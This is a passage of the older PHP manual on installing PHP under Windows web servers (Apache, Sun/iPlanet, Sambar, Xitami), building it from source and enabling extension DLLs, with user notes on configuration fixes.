The symptom was a misleading and very confusing error message:

Unable to load dynamic library 'c:\Progra~1\PHP\ext\php_pgsql.dll'

The dll itself was there but when it started to load the other dll (libpq.dll) from the php directory then this caused an error. This error was misinterpreted internally in the above message.

The solution was NOT to use the libpq.dll from php but use it from postgres distribution instead.

For this purpose I inserted the following line into the apache httpd conf:

LoadFile "C:/Progra~1/PostgreSQL/9.0/bin/libpq.dll"

This preloads the dll. When php_pgsql.dll would load his own libpq.dll, then there is the preloaded version of this file in the memory already. This prevents us from using the bad version of dll.

I hope I helped.
Nick 16-Jun-2010 03:48
After using the Windows installer for Apache 2.2 and PHP 5.3.2, and installing PHP as an Apache module (not CGI), Apache would crash and fail to start. There were two problems with the configuration files for Apache and PHP.

First, make sure your Apache configuration file reads something similar to:

LoadModule php5_module "C:/Program Files/PHP/php5apache2_2.dll"
PHPIniDir "C:/Program Files/PHP/"

While other users have disabled some or all of the MySQL extensions to prevent all three from running at the same time, I have all of them enabled. However, I do not have PostgreSQL, so I needed to comment out loading the php_pgsql.dll in my php.ini file, as follows:

;[PHP_PGSQL]
;extension=php_pgsql.dll

This stopped Apache from crashing and started successfully.
Michael 03-Mar-2010 06:48
The value for FcgidWrapper cannot contain spaces..

This won't work:
FcgidWrapper "c:/program files (x86)/php/php-cgi.exe" .php

But this will:
FcgidWrapper "c:/progra~2/php/php-cgi.exe" .php
Steve 24-Feb-2010 01:53
I also had a problem with the PHPIniDir declaration.  This is with Apache 2.2 on XP.  I had to include a final slash, as in PHPIniDir "C:\Program Files\php\".  Apache failed to start if I did not include the slash after php.
Kerry Kobashi 14-Dec-2009 07:56
If you find that Apache crashes when you attempt to start it, its likely that one of the PHP extensions is the cause. This is likely the case if you use the PHP Windows installer and choose all extensions in the setup program to be installed on disk. Unfortunately, it will also enable all extensions too causing potential problems.

For example, after installing PHP 5.2.11 and Apache 2.2 under Windows XP, Apache kept crashing. This was due to using all three versiosn of mysql extensions attempting to run:

[PHP_MYSQL]
extension=php_mysql.dll
[PHP_MYSQLI]
extension=php_mysqli.dll
[PHP_PDO_MYSQL]
extension=php_pdo_mysql.dll
Anonymous 10-Dec-2009 10:25
If anybody here encounters an error regarding PHPIniDir, change PHPIniDir "C:/php/" to PHPIniDir "C:\php\".
nicolas dot grasset at gmail dot com 07-Jul-2009 07:08
Here is how I created a silent install for Apache2.2 and PHP5.2.10 on Windows XP (running on a MacBook Pro):

Download Apache2 and PHP5 installer files in a directory and update the msi file names in the following commands.

To have PHP installer find Apache2, do not forget APACHEDIR!

msiexec /i apache_2.2.11-win32-x86-no_ssl.msi /passive ALLUSERS=1 SERVERADMIN=admin@localhost SERVERNAME=localhost SERVERDOMAIN=localhost SERVERPORT=80 INSTALLDIR=c:\apache
msiexec /i php-5.2.10-win32-installer.msi /qn APACHEDIR=c:\apache INSTALLDIR=c:\php ADDLOCAL=ext_php_mssql,apache22
net stop "Apache2.2"
net start "Apache2.2"
CP 16-Apr-2009 08:27
This is old news to some. But people with Apache 2.0.55 / PHP 5.1.2 might like a reminder before they pull their hair out! (Some of us have ISPs using older version and need to test on a like version before we upload.)

If using PHP 5.1.2, to run Apache as a module, do *not* use Stephan's "php5apache2.dll" from http://www.ApacheLounge.com. That is for pre-5.1.2!

**There is a "php5apache2.dll" included with Windows PHP 5.1.2 zip file by default.**

If you forget this and overwrite the included DLL with Stephan's (as I did) you'll spend hours attempting to escape "DLL hell", with no success.
Anonymous 26-Feb-2009 03:32
i followed henke37's way to for the httpd.conf

I added all this at the very end of httpd.conf

# For PHP 5
#load the php main library to avoid dll hell
Loadfile "C:\php-5.2.8-Win32\php5ts.dll"

#load the sapi so that apache can use php
LoadModule php5_module "C:\php-5.2.8-Win32\php5apache2_2.dll"

#set the php.ini location so that you don't have to waste time guessing where it is
PHPIniDir "C:\php-5.2.8-Win32"

#Hook the php file extensions
AddHandler application/x-httpd-php .php
AddHandler application/x-httpd-php-source .phps

Also i didn't use short open tags as they are disabled in
"php.ini-recommended" if you don't change anything
So use this to test
<?php
 phpinfo();
?>
NOT
<? phpinfo(); ?> short open tags

added my php directory to the PATH system variable and i start apache manually not as a service

It works for me hope it helps you!
cormac at kernan dot eu 21-Apr-2008 03:08
All good advice from henke, except where it says "Do not edit the system path".  You will NOT be able to load extensions that have dependencies e.g. MySQL, without adding PHP to your system path.  This threw me for some time as other extensions without dependencies will work without this requirement.
cfoesterle at yahoo dot com 10-Feb-2008 05:41
I do not have IIS installed on my server, only Apache. So I had to edit the PHP.ini file and comment out (add leading ";") to the following line "extension=php_iisfunc.dll" as I was getting "Faulting application httpd.exe, faulting module php_iisfunc.dll" errors when this line was active. I also added an additional  "AddType application/x-httpd-php .html" to my httpd.conf file so that inline php would work with files ending with an extension of ".html" on my server.
mjm at alum dot mit dot edu 27-Jan-2008 05:33
If you use the PHP 5 installer, you'll notice that it uses the wrong type of slash on Windows!

Change C:/Program Files/PHP/" to C:\Program Files\PHP\" and everything works great!
packard_bell_nec at hotmail dot com 03-Oct-2007 05:24
If you install PHP as an Apache CGI binary, you can add:
AddHandler cgi-script .php
into Apache httpd.conf, and add shebang line to every PHP scripts like:
#!php
<?php
phpinfo();
?>
. But adding shebang line has a disadvantage that if you decided to install PHP as an Apache module afterwards, then the shebang line WILL appear in the web page.
In fact, you do NOT need to add shebang line to every PHP script even if you install PHP as an Apache CGI binary, because you can add:
ScriptInterpreterSource Registry-Strict
into Apache httpd.conf, and make the registry file and merge it like:
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\.php\Shell\ExecCGI\Command]
@="\"C:\\Program Files\\PHP\\php-cgi.exe\""
. Then you will NOT need to change the PHP scripts which do not contain shebang line.
philippeboucher at newlogiccanada dot com dot com 31-Jul-2007 11:05
To do a silent install of PHP wich correctly modify the httpd.conf file, you HAVE (I find no other way) to put the directory of the Apache inside the INSTALLDIR's MSI option.  the APACHEDIR doesn't seem to work.  That's the only way I've make it work.  Maybe it's because my Apache is not in the default directory, I don't know, but there is a solution for people who cannot make work the silent install (for those who are told by the php setup that it cannot find the httpd.conf file).

Hope it helps someone.
anonymousness 15-Jun-2007 04:30
Verrrrrrrry important note:

If you enable multi-byte strings for your installation of PHP, the extension loaded MUST be the first extension in the list.

Apache, NOR PHP will generate any error messages or warning information in the error log or in system logs about this.

This information needs to be included in the Readme or in the distributed INI files.

The recommended PHP ini's should place extension=php_mbstring.dll  at the top of the list of extensions.

I had completely forgotten about this when recently upgrading php on a test server; and almost set out to re-install apache.
charlie at oblivion dot cz 15-Feb-2007 01:19
..try to set the extension_dir in php.ini to the absolute path.. (when you are pretty sure that you have set the PHPIniDir the right way)
Jim Keller 11-Jan-2007 02:35
it's important to note that on Apache 2.2.3 (probably other 2.x versions as well) on Windows, the PHPIniDir directive must use forward slashes to delimit directories, not the backslashes commonly used for Windows path strings. If PHP seems to be ignoring the directive, this may be why.
pcdinh at phpvietnam dot net 07-Oct-2006 12:50
PHP 6 is under active development but for those whose want to try out the new features or just want to keep updated with the development progress of PHP 6.0, you can follow my instructions below to install it on Windows XP and Apache 2.2.3

# For PHP 6 do something like this:
LoadModule php5_module "c:/server/php6/php6apache2_2.dll"
AddType application/x-httpd-php .php
PHPIniDir "c:/server/php6"

You should change the path as in your system. The directive LoadModule php5_module seems a bit strange to you. It should be LoadModule php6_module instead. However, I have just taken a look at php.internals and came across a message that said it should be changed in the near future after the PHP 5.2 is official released. At the time I write this, PHP 5.2 RC6 is planned to be released in the next few days.
subajawa at yahoo dot com 04-Aug-2006 10:56
To install PHP as Apache 2 CGI script, add these lines in addition to the 3 lines mentioned in the document.

<Directory "C:/php">
    AllowOverride None
    Options None
    Order allow,deny
    Allow from all
</Directory>
Isaac dot Brown at ArvinMeritor dot com 17-May-2005 02:59
Some XP machines are having troubles with the PHPIniDir derective not finding the php.ini (or so they think). Directories that do contain a php.ini file are returned as empty and it defaults to the next method of finding php.ini (often C:/windows or C:/winnt).

This is likely caused by read permissions not being set correctly on NTFS file systems, however, it has occurred when no cause could be identified. If setting correct file permissions doesn't work, the easiest way around this problem is moving php.ini to the Apache directory or adding the HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath string to your registry and setting it to the correct directory.


Sun, iPlanet and Netscape servers on Microsoft Windows

This section contains notes and hints specific to Sun Java System Web Server, Sun ONE Web Server, iPlanet and Netscape server installs of PHP on Windows.

From PHP 4.3.3 on you can use PHP scripts with the NSAPI module to generate custom directory listings and error pages. Additional functions for Apache compatibility are also available. For support in current web servers read the note about subrequests.

CGI setup on Sun, iPlanet and Netscape servers

To install PHP as a CGI handler, do the following:

  • Copy php4ts.dll to your systemroot (the directory where you installed Windows)

  • Make a file association from the command line. Type the following two lines:

    assoc .php=PHPScript
ftype PHPScript=c:\php\php.exe %1 %*

  • In the Netscape Enterprise Administration Server create a dummy shellcgi directory and remove it just after (this step creates 5 important lines in obj.conf and allow the web server to handle shellcgi scripts).
  • In the Netscape Enterprise Administration Server create a new mime type (Category: type, Content-Type: magnus-internal/shellcgi, File Suffix:php).
  • Do it for each web server instance you want PHP to run

More details about setting up PHP as a CGI executable can be found here: » http://benoit.noss.free.fr/php/install-php.html

NSAPI setup on Sun, iPlanet and Netscape servers

To install PHP with NSAPI, do the following:

  • Copy php4ts.dll to your systemroot (the directory where you installed Windows)

  • Make a file association from the command line. Type the following two lines:

    assoc .php=PHPScript
ftype PHPScript=c:\php\php.exe %1 %*

  • In the Netscape Enterprise Administration Server create a new mime type (Category: type, Content-Type: magnus-internal/x-httpd-php, File Suffix: php).

  • Edit magnus.conf (for servers >= 6) or obj.conf (for servers < 6) and add the following: You should place the lines after mime types init.

    Init fn="load-modules" funcs="php4_init,php4_execute,php4_auth_trans" shlib="c:/php/sapi/php4nsapi.dll"
Init fn="php4_init" LateInit="yes" errorString="Failed to initialise PHP!" [php_ini="c:/path/to/php.ini"]
    (PHP >= 4.3.3) The php_ini parameter is optional but with it you can place your php.ini in your web server configuration directory.

  • Configure the default object in obj.conf (for virtual server classes [Sun Web Server 6.0+] in their vserver.obj.conf): In the <Object name="default"> section, place this line necessarily after all 'ObjectType' and before all 'AddLog' lines:

    Service fn="php4_execute" type="magnus-internal/x-httpd-php" [inikey=value inikey=value ...]
    (PHP >= 4.3.3) As additional parameters you can add some special php.ini-values, for example you can set a docroot="/path/to/docroot" specific to the context php4_execute is called. For boolean ini-keys please use 0/1 as value, not "On","Off",... (this will not work correctly), e.g. zlib.output_compression=1 instead of zlib.output_compression="On"

  • This is only needed if you want to configure a directory that only consists of PHP scripts (same like a cgi-bin directory):

    <Object name="x-httpd-php">
ObjectType fn="force-type" type="magnus-internal/x-httpd-php"
Service fn=php4_execute [inikey=value inikey=value ...]
</Object>
    After that you can configure a directory in the Administration server and assign it the style x-httpd-php. All files in it will get executed as PHP. This is nice to hide PHP usage by renaming files to .html.

  • Restart your web service and apply changes
  • Do it for each web server instance you want PHP to run

Note:

More details about setting up PHP as an NSAPI filter can be found here: » http://benoit.noss.free.fr/php/install-php4.html

Note:

The stacksize that PHP uses depends on the configuration of the web server. If you get crashes with very large PHP scripts, it is recommended to raise it with the Admin Server (in the section "MAGNUS EDITOR").

CGI environment and recommended modifications in php.ini

Important when writing PHP scripts is the fact that Sun JSWS/Sun ONE WS/iPlanet/Netscape is a multithreaded web server. Because of that all requests are running in the same process space (the space of the web server itself) and this space has only one environment. If you want to get CGI variables like PATH_INFO, HTTP_HOST etc. it is not the correct way to try this in the old PHP way with getenv() or a similar way (register globals to environment, $_ENV). You would only get the environment of the running web server without any valid CGI variables!

Note:

Why are there (invalid) CGI variables in the environment?

Answer: This is because you started the web server process from the admin server which runs the startup script of the web server, you wanted to start, as a CGI script (a CGI script inside of the admin server!). This is why the environment of the started web server has some CGI environment variables in it. You can test this by starting the web server not from the administration server. Use the command line as root user and start it manually - you will see there are no CGI-like environment variables.

Simply change your scripts to get CGI variables in the correct way for PHP 4.x by using the superglobal $_SERVER. If you have older scripts which use $HTTP_HOST, etc., you should turn on register_globals in php.ini and change the variable order too (important: remove "E" from it, because you do not need the environment here):

variables_order = "GPCS"
register_globals = On

Special use for error pages or self-made directory listings (PHP >= 4.3.3)

You can use PHP to generate the error pages for "404 Not Found" or similar. Add the following line to the object in obj.conf for every error page you want to overwrite:

Error fn="php4_execute" code=XXX script="/path/to/script.php" [inikey=value inikey=value...]
where XXX is the HTTP error code. Please delete any other Error directives which could interfere with yours. If you want to place a page for all errors that could exist, leave the code parameter out. Your script can get the HTTP status code with $_SERVER['ERROR_TYPE'].

Another possibility is to generate self-made directory listings. Just create a PHP script which displays a directory listing and replace the corresponding default Service line for type="magnus-internal/directory" in obj.conf with the following:

Service fn="php4_execute" type="magnus-internal/directory" script="/path/to/script.php" [inikey=value inikey=value...]
For both error and directory listing pages the original URI and translated URI are in the variables $_SERVER['PATH_INFO'] and $_SERVER['PATH_TRANSLATED'].

Note about nsapi_virtual() and subrequests (PHP >= 4.3.3)

The NSAPI module now supports the nsapi_virtual() function (alias: virtual()) to make subrequests on the web server and insert the result in the web page. The problem is, that this function uses some undocumented features from the NSAPI library.

Under Unix this is not a problem, because the module automatically looks for the needed functions and uses them if available. If not, nsapi_virtual() is disabled.

Under Windows limitations in the DLL handling need the use of a automatic detection of the most recent ns-httpdXX.dll file. This is tested for servers till version 6.1. If a newer version of the Sun server is used, the detection fails and nsapi_virtual() is disabled.

If this is the case, try the following: Add the following parameter to php4_init in magnus.conf/obj.conf:

Init fn=php4_init ... server_lib="ns-httpdXX.dll"
where XX is the correct DLL version number. To get it, look in the server-root for the correct DLL name. The DLL with the biggest filesize is the right one.

You can check the status by using the phpinfo() function.

Note:

But be warned: Support for nsapi_virtual() is EXPERIMENTAL!!!

User Contributed Notes

There are no user contributed notes for this page.


Sambar Server on Microsoft Windows

This section contains notes and hints specific to the » Sambar Server for Windows.

Note:

You should read the manual installation steps first!

This list describes how to set up the ISAPI module to work with the Sambar server on Windows.

  • Find the file called mappings.ini (in the config directory) in the Sambar install directory.

  • Open mappings.ini and add the following line under [ISAPI]:

    Example #1 ISAPI configuration of Sambar

    #for PHP 4
*.php = c:\php\php4isapi.dll

#for PHP 5
*.php = c:\php\php5isapi.dll
    (This line assumes that PHP was installed in c:\php.)

  • Now restart the Sambar server for the changes to take effect.

Note:

If you intend to use PHP to communicate with resources which are held on a different computer on your network, then you will need to alter the account used by the Sambar Server Service. The default account used for the Sambar Server Service is LocalSystem which will not have access to remote resources. The account can be amended by using the Services option from within the Windows Control Panel Administation Tools.

User Contributed Notes

write2reuben at gmail dot com 27-Sep-2014 01:06
For PHP 5.6.0 use CGI

In mappings.ini

[cgi]
...
*.php = C:\mystuff\php-5.6.0\php-cgi.exe

In config.ini

[http]
...
CGI Extensions = *.php
....
com at sambar dot info 01-Oct-2002 02:47
Welcome,

We have now a good place for php issues on the SambarServer.

Thanks! to Derick from php.net

For specific Sambar issues you can go to http://www.sambarserver.info

Steffen


Xitami on Microsoft Windows

This section contains notes and hints specific to » Xitami on Windows.

Note:

You should read the manual installation steps first!

This list describes how to set up the PHP CGI binary to work with Xitami on Windows.

Note: Important for CGI users

Read the faq on cgi.force_redirect for important details. This directive needs to be set to 0. If you want to use $_SERVER['PHP_SELF'] you have to enable the cgi.fix_pathinfo directive.

Warning

A server deployed in CGI mode is open to several possible vulnerabilities. Please read our CGI security section to learn how to defend yourself from such attacks.

  • Make sure the web server is running, and point your browser to xitamis admin console (usually http://127.0.0.1/admin), and click on Configuration.

  • Navigate to the Filters, and put the extension which PHP should parse (i.e. .php) into the field File extensions (.xxx).

  • In Filter command or script put the path and name of your PHP CGI executable i.e. C:\php\php.exe for PHP 4, or C:\php\php-cgi.exe for PHP 5.

  • Press the 'Save' icon.

  • Restart the server to reflect changes.

User Contributed Notes

Tom dot Cockaert at d-c-s dot be 07-Mar-2008 04:31
I was able to get it to work with the info from Alex (
06-Jan-2007 12:22) with one addition though.

When I did the steps he mentioned I did not see anything yet in my browser.
I still had to hard refresh my page by CTRL-F5, then I finally had an output from my testscript.

Br,
Tom.
Alex 06-Jan-2007 06:22
I used php v 5.1.4 and the latest Xitami version.

1st change, use 'C:\php\php-win.exe' (in Windows OS) instead of 'C:\php\php-cgi.exe'

2nd change, you must click on the save button after you have changed the filters page and then again in the standarn configuration page.

finally, restart the server by going to the windows Gui interface (right click on the Xitami symbol in the system tray and choose properties) and click suspend (so the background for the 'X' goes red) then click start again.

hope this helps anyone with problems
ae_engine at yahoo dot com 02-Nov-2004 03:07
I have successfully configured Xitami using cgi.redirect
in PHP
set cgi.redirect = 1
set cgi.redirect_status = CGI_REDIRECT_STATUS;

in Xitami, defaults.cfg
under CGI_ENVIRONMENT
insert CGI_REDIRECT_STATUS="-"
rjb1 at catalog dot net dot au 18-Sep-2004 04:23
I am running xitami as a business www server on ms-windows. I have a number of long-running PHP scripts. I developed a tiny java applet to receive and display progressive status information from these slow scripts. It effectively facilitates SERVER PUSH from PHP scripts to IE and Netscape browsers.  Take a look: catalog.net.au/netClient.zip (Ron Boles, Melbourne, Australia)
rjb1 at catalog dot net dot au 12-Apr-2004 02:57
PHP via ISAPI with XITAMI
I have developed a small GUI in c++, which runs XITAMI and configures the Xitami ISAPI interface for use with PHP. It is so much faster than the PHP cgi interface and appears to be more stable too.
Take a look here: http://catalog.net.au/xisapi/default.html
Ron Boles
Melbourne, Australia
Roshambo 16-Oct-2003 10:39
I was only able to get PHP (4.3.3) working under Xitami (2.5c0) on Windows XP (SP1) by adding the following lines to defaults.cfg:

[Mime]
    php=application/x-httpd-php

[Filter]
    .php="c:/php/php.exe"

Note the quotation marks and the forward slashes in the filter section.
david at advisorymatters dot co dot uk 12-Sep-2003 01:54
Using the CGI (c:\php[version]\php.exe) with Xitami since PHP version 4.3.2 requires the following setting in php.ini before the $_SERVER['PHP_SELF'] call will return a value:

cgi.fix_pathinfo=1

Note that $_SERVER['SCRIPT_NAME'] still works.
janko dot slavic at email dot si 30-Nov-2002 11:51
[Editors Note]
You can force IE to disregard a cached page by pressing the Control key and click the Refresh button.

Please, do not forget the IE caches files.

I had a test.php and got the error message. I changed the defaults.cfg and also the cgi.force_redirect to = 0. After restarting the Xitami the error message was still there.
After a while I saved the test.php file to test2.php and found that it is working fine...


Building from source

This chapter teaches how to compile PHP from sources on windows, using Microsoft's tools. To compile PHP with cygwin, please refer to Installation on Unix systems.

See the Wiki documentation at: » http://wiki.php.net/internals/windows/stepbystepbuild

User Contributed Notes

mail at tonywilk dot co dot uk 09-Jan-2014 03:03
Building PHP on Windows 7 with Visual Studio 2010 installed...
- this differs slightly from the stepbystepbuild info and it worked for me :)

0. make a directory and unpack both of these into it:
      php-5.4.23-src.zip  (should have a win32 directory in it)
      php-sdk-binary-tools-20110915
1. Run Visual Studio 2010 command prompt
2. CD to your php source root directory
3. set mc="C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Bin\mc"    - or wherever it is on your machine
4. vcvars32
5. set path=your_php_source_directory\bin;%PATH%
6. buildconf
7. configure --help
     this gets you a list of all the options, then... (e.g.)
8. configure --disable-all --enable-cgi --with-sqlite3
9. nmake
10. results should be in Release_TS
       in this example, all we need is php-cgi.exe and php5ts.dll
buda 15-Nov-2011 11:10
Using --enable-snapshot-build when setting the configure command requires you to also set --disable-static-analyze (Win7 64Bit, VC9 Express, SDK 6.1) for otherwise you will run into a fatal compiler error "C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\Include\tchar.h(1659) : fa
tal error C1001: Interner Compilerfehler.
(Compilerdatei "msc1ast.cpp", Zeile 1411)"
(see also https://bugs.php.net/bug.php?id=55779)
Joel Low 27-Feb-2010 11:12
To build everything in the distribution, pass --enable-snapshot-build to configure.js. In addition, you may like to use "snap" as the nmake target. If you intend to build the PHP Windows Installer, WiX source files can be obtained from http://svn.php.net/repository/php/win-installer/.
michal dot kocarek at brainbox dot cz 17-Aug-2009 08:10
PHP extensions can be compiled statically or shared.

- Shared compilation creates a well-known php_*.dll file.
- Static compilation puts the extension directly into PHP (therefore it does not need to be loaded and cannot be unloaded)

You can switch whether to compile given extension statically or as library by adding =static or =shared to the extension in configure.js command during the compilation.

configure --enable-http=static --with-openssl=shared
// http extension will be included in PHP
// openssl extension will be compiled as separate DLL
Bas van Beek 12-Mar-2009 03:50
If trying to compile the code (Windows XP, SDK v6.1) and you get the following types of errors:

c:\phpdev\php-5.2.9\main\php_network.h(128) : warning C4005: 'POLLIN' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1495) :
see previous definition of 'POLLIN'
c:\phpdev\php-5.2.9\main\php_network.h(129) : warning C4005: 'POLLPRI' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1496) :
see previous definition of 'POLLPRI'
c:\phpdev\php-5.2.9\main\php_network.h(130) : warning C4005: 'POLLOUT' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1499) :
see previous definition of 'POLLOUT'
c:\phpdev\php-5.2.9\main\php_network.h(131) : warning C4005: 'POLLERR' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1502) :
see previous definition of 'POLLERR'
c:\phpdev\php-5.2.9\main\php_network.h(132) : warning C4005: 'POLLHUP' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1503) :
see previous definition of 'POLLHUP'
c:\phpdev\php-5.2.9\main\php_network.h(133) : warning C4005: 'POLLNVAL' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1504) :
see previous definition of 'POLLNVAL'
NMAKE : fatal error U1077: '"C:\Program Files\Microsoft Visual Studio 9.0\VC\BIN
\cl.exe"' : return code '0x2'
Stop.

You can alter the Makefile and add the following switch to CFLAGS:

/D _WIN32_WINNT
php at tattodecastro dot com 07-Dec-2007 01:14
If you are getting the following error message:
Input Error: There is no script engine for file extension ".js"
with Visual Studio 2005 Command Prompt or similar, try to add  "/e:jscript" to the command line.

Something like:
cscript /nologo /e:jscript win32/build/buildconf.js

It worked for me, I hope it helps.
giunta dot gaetano at gmail dot com 27-Jun-2007 03:43
A detailed tutorial for building php 5 using VC++ 2005 express edition (ie. the free version) is available here: http://elizabethmariesmith.com/2006/11/15/

It can be a huge time saver if you do not have a complete VC6 toolchain already setup
axel at kollmorgen dot net 27-May-2007 03:13
>>Compiling using Visual Studio .NET will create binaries dependent of msvcp71.dll
>
> Only if you compile with the wrong runtime library.

if this is so easy, please tell us how you managed to *not* create dependencies on msvcp71.dll/msvcr80/... using Visual C++ .NET 2000/2003/2005. thanks!
10-Dec-2006 03:09
>> Compiling using Visual Studio .NET will create binaries dependent of msvcp71.dll

Only if you compile with the wrong runtime library.
zbowden at vt dot edu 12-May-2006 04:12
When running "cscript /nologo configure.js" 5.x on Windows
2000 or XP, if you get the following error:
Microsoft JScript runtime error: Object doesn't support this
property or method

You need to have at least version 5.6 of WSH.
This is necessary because configure.js will use the .Exec()
method of the WScript.Shell.
This evidently didn't exist until 5.6?

You can download WSH 5.6 here:
http://www.microsoft.com/downloads/details.aspx?
FamilyID=c717d943-7e4b-4622-86eb-95a22b832caa&DisplayLang=en
C-Reaction.net - Software Development 03-Apr-2006 09:16
Don't forget to setup Environment variable:
BISON_SIMPLE="C:\\work\\win32build\\bin\\bison.simple"

or this can cause error:
c:/usr/local/lib/bison.simple: No such file or directory

Alexey Furmanov.


Installation of extensions on Windows

After installing PHP and a web server on Windows, you will probably want to install some extensions for added functionality. You can choose which extensions you would like to load when PHP starts by modifying your php.ini. You can also load a module dynamically in your script using dl().

The DLLs for PHP extensions are prefixed with php_.

Many extensions are built into the Windows version of PHP. This means additional DLL files, and the extension directive, are not used to load these extensions. The Windows PHP Extensions table lists extensions that require, or used to require, additional PHP DLL files. Here's a list of built in extensions (updated PHP 5.0.4): BCMath, Caledar, COM, Ctype, DOM, FTP, LibXML, Iconv, ODBC, PCRE, Session, SimpleXML, SPL, SQLite, WDDX, XML and Zlib.

The default location PHP searches for extensions is C:\php5. To change this setting to reflect your setup of PHP edit your php.ini file:

  • You will need to change the extension_dir setting to point to the directory where your extensions lives, or where you have placed your php_*.dll files. For example:

    extension_dir = C:\php\extensions

  • Enable the extension(s) in php.ini you want to use by uncommenting the extension=php_*.dll lines in php.ini. This is done by deleting the leading ; from the extension you want to load.

    Example #1 Enable Bzip2 extension for PHP-Windows

    // change the following line from ...
;extension=php_bz2.dll

// ... to
extension=php_bz2.dll

  • Some of the extensions need extra DLLs to work. Couple of them can be found in the distribution package, in the main folder, but some, for example Oracle (php_oci8.dll) require DLLs which are not bundled with the distribution package. Don't forget to include C:\php in the system PATH (this process is explained in a separate FAQ entry).

  • Some of these DLLs are not bundled with the PHP distribution. See each extensions documentation page for details. Also, read the manual section titled Installation of PECL extensions for details on PECL. An increasingly large number of PHP extensions are found in PECL, and these extensions require a separate download.

Note: If you are running a server module version of PHP remember to restart your web server to reflect your changes to php.ini.

The following table describes some of the extensions available and required additional dlls.

PHP Extensions
Extension | Description | Notes
php_bz2.dll | bzip2 compression functions | None
php_calendar.dll | Calendar conversion functions | None
php_crack.dll | Crack functions | None
php_ctype.dll | ctype family functions | None
php_curl.dll | CURL, Client URL library functions | Requires: libeay32.dll, ssleay32.dll (bundled)
php_dba.dll | DBA: DataBase (dbm-style) Abstraction layer functions | None
php_dbase.dll | dBase functions | None
php_dbx.dll | dbx functions |
php_exif.dll | EXIF functions | php_mbstring.dll. And, php_exif.dll must be loaded after php_mbstring.dll in php.ini.
php_fbsql.dll | FrontBase functions | None
php_fdf.dll | FDF: Forms Data Format functions. | Requires: fdftk.dll (bundled)
php_filepro.dll | filePro functions | Read-only access
php_ftp.dll | FTP functions | None
php_gd2.dll | GD library image functions | GD2
php_gettext.dll | Gettext functions | PHP <= 4.2.0 requires gnu_gettext.dll (bundled), PHP >= 4.2.3 requires libintl-1.dll, iconv.dll (bundled).
php_hyperwave.dll | HyperWave functions | None
php_iconv.dll | ICONV characterset conversion | Requires: iconv-1.3.dll (bundled), iconv.dll
php_ifx.dll | Informix functions | Requires: Informix libraries
php_iisfunc.dll | IIS management functions | None
php_imap.dll | IMAP POP3 and NNTP functions | None
php_ingres.dll | Ingres functions | Requires: Ingres libraries
php_interbase.dll | InterBase functions | Requires: gds32.dll (bundled)
php_ldap.dll | LDAP functions | Requires libeay32.dll, ssleay32.dll (bundled)
php_mbstring.dll | Multi-Byte String functions | None
php_mcrypt.dll | Mcrypt Encryption functions | Requires: libmcrypt.dll
php_mhash.dll | Mhash functions | Requires: libmhash.dll (bundled)
php_mime_magic.dll | Mimetype functions | Requires: magic.mime (bundled)
php_ming.dll | Ming functions for Flash | None
php_msql.dll | mSQL functions | Requires: msql.dll (bundled)
php_mssql.dll | MSSQL functions | Requires: ntwdblib.dll (bundled)
php_mysql.dll | MySQL functions | Requires libmysql.dll (bundled)
php_mysqli.dll | MySQLi functions | Requires libmysql.dll (libmysqli.dll in PHP <= 5.0.2) (bundled)
php_oci8.dll | Oracle 8 functions | Requires: Oracle 8.1+ client libraries
php_openssl.dll | OpenSSL functions | Requires: libeay32.dll (bundled)
php_pdf.dll | PDF functions | None
php_pgsql.dll | PostgreSQL functions | None
php_shmop.dll | Shared Memory functions | None
php_snmp.dll | SNMP get and walk functions | NT only!
php_soap.dll | SOAP functions | None
php_sockets.dll | Socket functions | None
php_sybase_ct.dll | Sybase functions | Requires: Sybase client libraries
php_tidy.dll | Tidy functions | None
php_tokenizer.dll | Tokenizer functions | None
php_w32api.dll | W32api functions | None
php_xmlrpc.dll | XML-RPC functions | Requires: iconv.dll (bundled)
php_xslt.dll | XSLT functions | Requires sablot.dll, expat.dll, iconv.dll (bundled).
php_yaz.dll | YAZ functions | Requires: yaz.dll (bundled)
php_zip.dll | Zip File functions | Read only access
php_zlib.dll | ZLib compression functions | None

User Contributed Notes

jwagner at digilog dot de 15-Oct-2014 04:08
On Windows hosts libeay32.dll and ssleay32.dll have to be path-accessible for php_curl.dll to work correctly. Copying them into System32 (or even into the Windows main directory) is a bad hack (and does not even work with newer PHP versions). The right way to do it, is to add the PHP path to the Windows *Path* variable. In *Control Panel* --> *System* click on *Advanced System Settings* and use the button *Environment Variables*. Under *System Variables* you will find the *Path* variable. Edit it and append `;C:/PHP` to it - or whatever the path to your PHP root folder is.
mech 23-Jan-2014 04:14
If you have problems, that windows-extensions can not be loaded (PHP Warning: PHP Startup: Unable to load dynamic library) and you are sure, the .ddl is in the right place, use ProcessMonitor (http://technet.microsoft.com/de-de/sysinternals/bb896645.aspx)

here you can see at startup, which files php tries to find and in which locations php tries to find them!
rafaurl at gmail dot com 17-Nov-2010 11:30
I got the following error:

 PHP Warning:  PHP Startup: Unable to load dynamic library 'C:\PHP\ext\php_curl.dll'

By using sysinternals procmon I saw that it failed after trying to load "zlib.dll". I found this file deployed with other software (in my case, Miranda IM) and copied it to the PHP installation directory. It worked fine after that. Hope that helps.
vatozana at yahoo dot com 03-Oct-2010 12:56
I had problems registering Curl extentions and it was cause by the old dll of libeay32.dll and  ssleay32.dll  which were already in my c:\windows\system32 I replaced them and all is now fine!!
Anonymous 07-Jan-2010 01:11
I had problem with extensions - they don't loaded (without errors) on Windows installation and don't displayed in phpinfo().

Solve: full-specified directory name for extension_dir directive - "c:/php/ext/" instead "./"
JB 04-May-2009 06:39
I had a problem with the gd and mysqli mods on my PHP5.2/Apache2.2/Windows 2003 server. Even after enabling the options in the php.ini file and restarting the Apache service, the mods still would not load. I even tried to restart the Windows 2003 server that php is loaded on - and no go. After reviewing the system path variables in Windows, I noticed that the c:\php directory was set in the path variable, but not the folder for the gd, mysqli and others mods. So I added c:\php\ext to the path variable and rebooted the server. THAT FIXED IT!!
